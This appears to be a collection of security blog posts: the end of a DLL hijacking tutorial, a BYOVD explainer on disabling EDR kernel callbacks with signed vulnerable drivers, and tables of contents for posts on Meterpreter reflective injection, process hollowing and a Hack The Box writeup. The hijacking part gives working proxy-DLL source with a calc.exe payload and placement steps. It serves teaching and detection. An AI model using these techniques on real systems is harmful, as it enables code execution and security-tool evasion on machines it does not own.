Export Forwarding — Making the Application Happy

This is the part that makes the proxy work. At the top of your DLL source, before any code, you add pragma linker directives — one per exported function:

#pragma comment(linker, "/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA,@1")
#pragma comment(linker, "/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW,@9")
#pragma comment(linker, "/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA,@16")
// one line for every export in the real DLL

The format is:

/export:YourExportName=RealDLLPath.RealFunctionName,@OrdinalNumber

What this does: it adds entries to your DLL's export table that don't point to code inside your DLL — they point directly to the corresponding function in the real DLL. Windows resolves these at load time. When the application calls GetFileVersionInfoA on your DLL, Windows follows the forward pointer straight to the real function in System32.

The @1 at the end is the ordinal number — the numeric identifier for that export. It needs to match the ordinal from the real DLL's export table exactly. Applications that import by ordinal instead of by name will break if this doesn't match.

Two things that catch people out here:

The path uses double backslashes in C strings. And the DLL name does not include .dll:

// correct
"C:\\Windows\\System32\\version.GetFileVersionInfoA"

// wrong — will not link
"C:\\Windows\\System32\\version.dll.GetFileVersionInfoA"

The linker already knows it's a DLL. Don't add the extension.

The Complete Proxy

Putting it together — a full proxy for version.dll:

#pragma comment(linker,"/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA,@1")
#pragma comment(linker,"/export:GetFileVersionInfoByHandle=C:\\Windows\\System32\\version.GetFileVersionInfoByHandle,@2")
#pragma comment(linker,"/export:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA,@3")
#pragma comment(linker,"/export:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW,@4")
#pragma comment(linker,"/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA,@5")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW,@7")
#pragma comment(linker,"/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW,@8")
#pragma comment(linker,"/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW,@9")
#pragma comment(linker,"/export:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA,@10")
#pragma comment(linker,"/export:VerFindFileW=C:\\Windows\\System32\\version.VerFindFileW,@11")
#pragma comment(linker,"/export:VerInstallFileA=C:\\Windows\\System32\\version.VerInstallFileA,@12")
#pragma comment(linker,"/export:VerInstallFileW=C:\\Windows\\System32\\version.VerInstallFileW,@13")
#pragma comment(linker,"/export:VerLanguageNameA=C:\\Windows\\System32\\version.VerLanguageNameA,@14")
#pragma comment(linker,"/export:VerLanguageNameW=C:\\Windows\\System32\\version.VerLanguageNameW,@15")
#pragma comment(linker,"/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA,@16")
#pragma comment(linker,"/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW,@17")

#include <Windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        WinExec("calc.exe", SW_HIDE);
    }
    return TRUE;
}

Compile it:

cl /LD version.c /o version.dll

Drop it in the hijackable directory. Launch the target. Your payload runs. Application keeps running. Nobody crashes.

Detection — What EDRs Actually See

DLL hijacking is stealthy by design. The loader does the loading, a legitimate process does the executing, and your DLL may even be sitting in a location that looks completely reasonable. But it's not invisible.

Sysmon Event ID 7 — ImageLoad is the primary telemetry source. Every DLL load generates this event with the full image path and the signing status of the loaded module. A defender looking at Event 7 can ask two questions:

Is this DLL being loaded from a user-writable path?
Is this DLL signed by a trusted publisher?

An unsigned DLL loading from C:\Program Files\SomeApp\version.dll when version.dll is a known signed Microsoft binary is a high-confidence signal.

The combination of path anomaly plus missing signature is what triggers a detection — not either one alone.

What makes search order hijacking and phantom DLL loading detectable: the loaded path doesn't match where the legitimate DLL should be. A defender with a baseline of "what DLLs load from where on a clean system" catches this immediately on comparison.

What makes side-loading harder to detect: the loading process is a legitimate, signed binary. The DLL path may look reasonable — it's in the same directory as the executable. The parent process is trusted. Without signature verification of the loaded DLL itself, it blends in.

This is exactly why real APT groups — Lazarus, APT41, and others — rely on side-loading over the other two variants. The legitimacy of the loader provides cover.

The full detection picture requires correlating three things together:

Load path + signing status + parent process reputation

Any one of those alone is insufficient. All three together is a reliable signal.

Lab — See It Yourself

What you need: ProcMon, Process Hacker, WinObj (Sysinternals), a Windows lab VM

Lab 1 — Map the KnownDLLs boundary

Sysinternals WinObj → navigate to \KnownDLLs

Write down every DLL name you see there. These are permanently off-limits for search order hijacking. Everything not on this list is theoretically fair game. This gives you an instant mental filter before you open ProcMon.

Lab 2 — Find phantom DLL candidates with ProcMon

Set filters:

Result    is    NAME NOT FOUND
Path      ends with    .dll

Launch any application you have installed — VLC, Notepad++, 7-Zip. Let it fully load. Scroll through the results. For each entry, ask:

icacls "C:\path\from\procmon\output"

Any directory showing (W) or (F) for BUILTIN\Users is a writable candidate. Cross-reference the DLL name against your KnownDLLs list from Lab 1.

What this proves: you can go from zero knowledge to a confirmed hijackable target in under 10 minutes on almost any Windows system with third-party software installed.

Lab 3 — Verify a candidate end to end

Pick one confirmed candidate from Lab 2. Build a minimal DLL that just spawns calc.exe in DllMain:

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        WinExec("calc.exe", SW_SHOW);
    }
    return TRUE;
}

Drop it in the writable path. Launch the target application. If calc opens — you have confirmed execution.

Then open Process Hacker, find the target process, go to the Modules tab, and find your DLL in the loaded module list. Note the path and the missing signature field.

What this proves: the full chain from ProcMon finding to confirmed code execution, exactly as a real engagement would flow.

What's Next

DLL hijacking relies on the Windows loader doing its job — finding and mapping your DLL because the application asked for it. But what if you're writing shellcode that runs before any loader exists? How does shellcode find the functions it needs without calling GetProcAddress or importing anything?

The answer is in the PEB — the same structure you've seen referenced across every blog in this series. Next post: Walking the PEB to Resolve APIs — How Shellcode Finds kernel32.dll Without Imports.

BYOVD Explained — How Attackers Use Signed Drivers to Kill EDRs

nimesh nakum — Tue, 09 Jun 2026 03:21:15 +0000

Your EDR sees everything. Process launches, thread injections, DLL loads, filesystem writes. It has eyes inside the kernel — little hooks that fire before anything consequential happens, passing information up to the agent, letting it decide whether to block or alert.

Now imagine something reaches into that kernel and quietly removes the hooks. No crash. No blue screen. No alert. The EDR process is still running, the dashboard still shows healthy, but the inputs it depends on are just gone.

This is part of windows internals I've been exploring — understanding how systems actually behave under the hood, not just how tools interact with them.

That's not a Windows bug. That's a trust problem.

BYOVD doesn't exploit Windows — it exploits trust.

Ring 0 vs Ring 3 — The Boundary That Matters

Windows splits execution into privilege levels. Your applications, your malware, your EDR agent — they all run in Ring 3, user mode. The kernel runs in Ring 0.

In my previous posts, I focused on how processes and execution work from an attacker's perspective. This goes one layer deeper — into the kernel where those assumptions start to break.

This isn't just organizational. The CPU enforces it. Ring 3 code cannot directly read kernel memory. It cannot call kernel functions. Every interaction goes through a controlled interface — syscalls — and the kernel decides whether to honor each request.

This is why typical malware stays loud. It has to use syscalls. Syscalls can be intercepted and monitored.

At Ring 0, security tools are just data structures.

Get code running in the kernel and those data structures become writable. The callback tables EDRs rely on, the hook registrations, the minifilter stack — all of it is reachable, readable, modifiable.

A Quick Personal Note on Why This Boundary Matters

Early on when I was messing around with kernel concepts, I tried doing something simple from user mode — reading a memory address that I knew belonged to a kernel structure. The kind of thing that would be trivially readable if you were in Ring 0.

The access violation came back immediately. Not a permission dialog, not a warning — just a hard stop from the CPU. You don't get to negotiate.

That failure stuck with me. The wall between Ring 3 and Ring 0 isn't a software check you can route around with the right API. It's enforced at the hardware level. And that's exactly why getting something trusted to carry you across that boundary is so valuable to an attacker. You don't climb the wall — you find someone with a key.

Drivers and the IOCTL Bridge

To load code at Ring 0, Windows requires a signed kernel driver. The signature has to come from a trusted certificate authority, and on 64-bit Windows, Driver Signature Enforcement makes this non-negotiable — no valid signature, no kernel access.

So attacker-written code can't just walk in. But legitimate drivers can. And some of those legitimate drivers have problems.

Drivers expose functionality to user-mode applications through an interface called IOCTL — Input/Output Control. It's the communication channel between user land and a running driver. You send a request, the driver processes it, you get a result.

If a driver's IOCTL handling is careless — if it lets caller-supplied data determine what memory gets read or written — then an attacker with that driver loaded has a working channel into kernel memory. No exploitation of Windows itself required.

A vulnerable driver doesn't exploit the kernel — it exposes it.

What an EDR Actually Does Inside the Kernel

It helps to understand what's actually being attacked.

Process creation callbacks fire whenever a new process spawns. EDRs register here to inspect launches, verify signatures, inject their monitoring components before the process has a chance to do anything.

Thread creation callbacks catch remote thread injection — when one process tries to spawn a thread inside another. Classic injection technique, and this is where it gets caught.

Image load callbacks fire when a DLL or executable is mapped into memory. Unsigned modules, suspicious paths, known-bad hashes — all detectable here.

Minifilters sit on the filesystem stack and intercept reads and writes before they complete. This is how EDRs scan files on access, block malicious writes, and log filesystem activity.

All of these mechanisms share the same underlying model: the EDR registers a function with the kernel, and the kernel calls that function at the right moment. The EDR's entire value proposition is built on those callbacks firing reliably.

Remove the callbacks, remove the EDR.

The BYOVD Concept

Three steps, conceptually.

One — load a legitimate, signed, vulnerable driver. Windows sees a valid signature and accepts it without complaint. No alerts, no prompts. The driver is in the kernel.

Two — communicate with the driver from user mode via IOCTL. Because the driver is vulnerable, it accepts requests that give the caller access to kernel memory reads or writes. The attacker uses this to navigate kernel structures — find what they're looking for.

Three — modify the structures that matter. Specifically, the callback registrations that make EDRs work. Clear the entries. Overwrite the function pointers. Surgically. The system keeps running, the EDR process stays alive, but its kernel-level visibility is gone.

The driver is a tool. A signed, vendor-approved crowbar.

Where It Actually Breaks the EDR

Kernel callbacks are implemented as arrays of function pointers. When the kernel fires a "process created" event, it walks the array and calls each registered function in order. Security tools register their detection routines into this array.

The array lives in kernel memory. It's data is Writable data, if you have access.

Remove an entry from the array and that function never gets called. The EDR never sees the process launch. No alert, no block, no log entry.

If the callback never runs, the detection never exists.

Think of it like a security camera system. The monitors are on, the control room is staffed, operators are watching. But someone has quietly cut the feed from the cameras covering the area that matters. Nothing looks wrong from the inside — screens still show footage, systems still report healthy. The operators just happen to be blind to exactly the right corner of the building.

That's what a successfully tampered EDR looks like from the attacker's perspective. Not broken. Just aimed at nothing.

The High-Level Flow

User-mode process initiates. A signed, known-vulnerable driver binary is written to disk and loaded through standard Windows driver loading mechanisms. It passes signature validation. It enters the kernel.

From user mode, the attacker's code opens a handle to the driver and begins sending IOCTL requests. The driver, due to its vulnerability, processes these requests in ways that expose kernel memory access.

Through that channel, the attacker locates kernel structures holding EDR callback registrations, with the help of base address and specific offsets. This targeting is deliberate — specific structures, specific offsets, specific security products.

Those structures are modified. Callback entries are cleared or overwritten. The EDR continues running in user mode, completely unaware that its kernel hooks no longer fire.

From that point on, the attacker operates in a space the EDR can't see.

Want to See This in Action (Safely)

If you want to understand how these pieces actually fit together — drivers, IOCTL communication, and kernel callbacks — I built a safe, hands-on lab that walks through each component step by step.

It doesn't replicate the attack directly, but it shows the exact mechanisms BYOVD relies on.

github

medium blog

Real-World: Lazarus and the Driver Playbook

Lazarus Group has been documented using BYOVD in real intrusions. They're not unique in this — several advanced groups have adopted the technique — but they're one of the more extensively documented cases.

What's notable isn't that they found sophisticated zero-days or developed novel exploitation chains. They went looking through public records of known-vulnerable drivers, found ones still carrying valid signatures, and used them.

Advanced attackers don't need new vulnerabilities — they need old trust.

A driver signed five years ago by a legitimate hardware vendor is still signed. If it has a memory access vulnerability and isn't on a blocklist, it's still usable on modern Windows. The attack surface here is time — the lag between a vulnerability being known, documented, and then actually blocked across the install base.

That lag can be years.

Why This Works: The Trust Model

Windows kernel trust is binary. Code is either signed and admitted or it isn't. Once admitted, there's no secondary behavioral analysis running on kernel-mode code in real time. The kernel doesn't second-guess things that are already running inside it.

Once code enters Ring 0, it becomes part of the system.

Signed drivers are trusted not because of what they do, but because of what they are. The gate is the signature, not the behavior. A driver that exposes arbitrary memory access is still trusted as long as the certificate is valid and not revoked.

And revocation is slow. Getting a driver onto Microsoft's blocklist requires coordination, testing, and update delivery. Vendors don't always respond quickly. Microsoft's list has gaps. And not every Windows installation gets updates promptly.

The math works out in the attacker's favor.

Defensive Reality

Driver blocklists exist. Microsoft maintains a Vulnerable Driver Blocklist that Windows will enforce. It's updated through Defender and Windows Update. It helps, It doesn't cover everything, and new vulnerable drivers surface faster than the list grows.

HVCI (Hypervisor-Protected Code Integrity) is more meaningful. It uses virtualization -- VBS like VTL1 , to protect kernel memory from modification and enforces that only validly signed code can execute in Ring 0. It raises the bar significantly — many BYOVD techniques don't work cleanly against it. The catch is compatibility; older drivers can break, and deployment isn't universal.

Monitoring driver loads is practical right now. Logging when drivers are loaded, checking them against known-vulnerable lists, alerting on unexpected driver load events — this is achievable with most modern security stacks. It's detective, not preventive, but catching a vulnerable driver being loaded is an actionable signal.

The honest reality: detection often happens after trust has already been granted. The IOCTL communication that modifies callback arrays can complete in milliseconds. By the time a driver load alert surfaces in a SIEM, the damage may already be done. Speed of detection and response matters here more than it does for most techniques.

Know your driver baseline. Know what normally loads in your environment. Anomalies are easier to catch when you know what normal looks like.

Closing

BYOVD is uncomfortable to think about because it plays by the rules. No memory corruption in Windows itself. No kernel vulnerability. No zero-day.

It finds a signed piece of code that was trusted by the system and uses that trust as a stepping stone into the kernel. Then it modifies the data structures that make EDR visibility possible, from a place the EDR can't reach or monitor.

The attack is a mirror held up to a specific assumption — that a signed driver is a safe driver, that trust extended is trust correctly placed, that the signature verification model is sufficient.

BYOVD doesn't break Windows security — it reveals its boundaries.

The more you look at these systems from the inside, the more you realize that most “security” is really about visibility — and once that visibility is gone, everything else becomes optional.

Understanding this technique matters because it reframes what EDR coverage actually means. It's conditional. Conditional on the kernel callbacks firing. Conditional on the driver blocklist being current. Conditional on trust decisions made years ago by vendors who may have shipped and forgotten about a product long since deprecated. That conditionality is worth building your detection strategy around.

DEV Community: nimesh nakum

# Hack The Box — DevHub Writeup

1. Overview

2. Reconnaissance

3. MCPJam Inspector

4. Initial Access

5. Getting a Stable SSH Shell

6. Looking for the Next User

7. Jupyter Token

8. Getting Access as Analyst

9. Enumerating Analyst

10. OPSMCP

11. Dumping the Root SSH Key

12. Root

13. Final Attack Chain

14. What I Learned

Meterpreter Internals — How Reflective DLL Injection Actually Works

Meterpreter Never Touched Your Disk — Here's Exactly How That's Possible

Chapter 1: What LoadLibrary Actually Does (It's Not What You Think)

The Real Chain of Calls

The 5 Things the Loader Does

Chapter 2: The PE File — The Map Everything Reads

The DOS Header — The Old Guy at the Front Desk

The Optional Header — The Most Important Thing in the File

Section Headers — The Table of Contents

Chapter 3: Base Relocations — The Most Underexplained Thing in Windows

The Structure of the .reloc Section

The Math the Reflective Loader Does

Chapter 4: The IAT — The DLL's Phone Book

The Import Descriptor Structure

Chapter 5: The Reflective Loader — Building a DLL From Nothing

Step 0 — "Where Am I?" (The Bootstrap Problem)

Step 0.5 — Finding kernel32.dll Without Calling GetModuleHandle

Step 1 — Allocate Memory for the Fully Loaded DLL

Step 2 — Copy PE Headers

Step 3 — Copy All Sections

Step 4 — Apply Base Relocations

Step 5 — Resolve the IAT

Step 6 — Call DllMain

The Complete Picture

Chapter 6: How migrate Works — Moving Into a Better Neighbourhood

Chapter 7: Detection — You're Stealthy, Not Invisible

Signal 1 — MEM_PRIVATE Executable Memory With No Backing File

Signal 2 — The PEB Gap

Signal 3 — PAGE_EXECUTE_READWRITE (The Big Red Flag)

Signal 4 — The migrate Event Sequence

Lab — See It Yourself

Lab 1 — Find Meterpreter Living in Memory

Lab 2 — The PEB Gap (WinDbg)

Lab 3 — See Relocations in CFF Explorer

The Bigger Picture

Process Hollowing from First Principles — No Tools, Just Windows API

Prerequisites: What You Need to Internalize First

The PEB and ImageBaseAddress

The VAD Tree: MEM_IMAGE vs MEM_PRIVATE

The PE Structure and the Section Mapping Problem

Hollowing vs. Classic Process Injection

The Seven Steps: Mechanism and Internals

Step 1 — CreateProcess with CREATE_SUSPENDED

Step 2 — Reading the PEB to Find ImageBaseAddress

Step 3 — NtUnmapViewOfSection: The Actual Hollowing

Step 4 — VirtualAllocEx and WriteProcessMemory

Step 5 — SetThreadContext: Redirecting Execution

Step 6 — Patching PEB->ImageBaseAddress

Step 7 — ResumeThread

Broken Invariants: The Real Story

Memory Invariant — MEM_IMAGE Must Have a Backing File

Loader Invariant — The LDR Lists Must Reflect Loaded Modules

Execution Invariant — Code Must Execute From a Named Module

What EDR Actually Sees

The Behavioral Sequence, Not Individual APIs

Memory State Transitions

VAD Anomalies

Thread Anomalies

The Sysmon Telemetry Gap

Evasion Variants

RW → VirtualProtect → RX Instead of RWX

Module Stomping

Early Bird APC Injection

Failure Modes in Practice

The Structure of the `.reloc` Section

Chapter 6: How `migrate` Works — Moving Into a Better Neighbourhood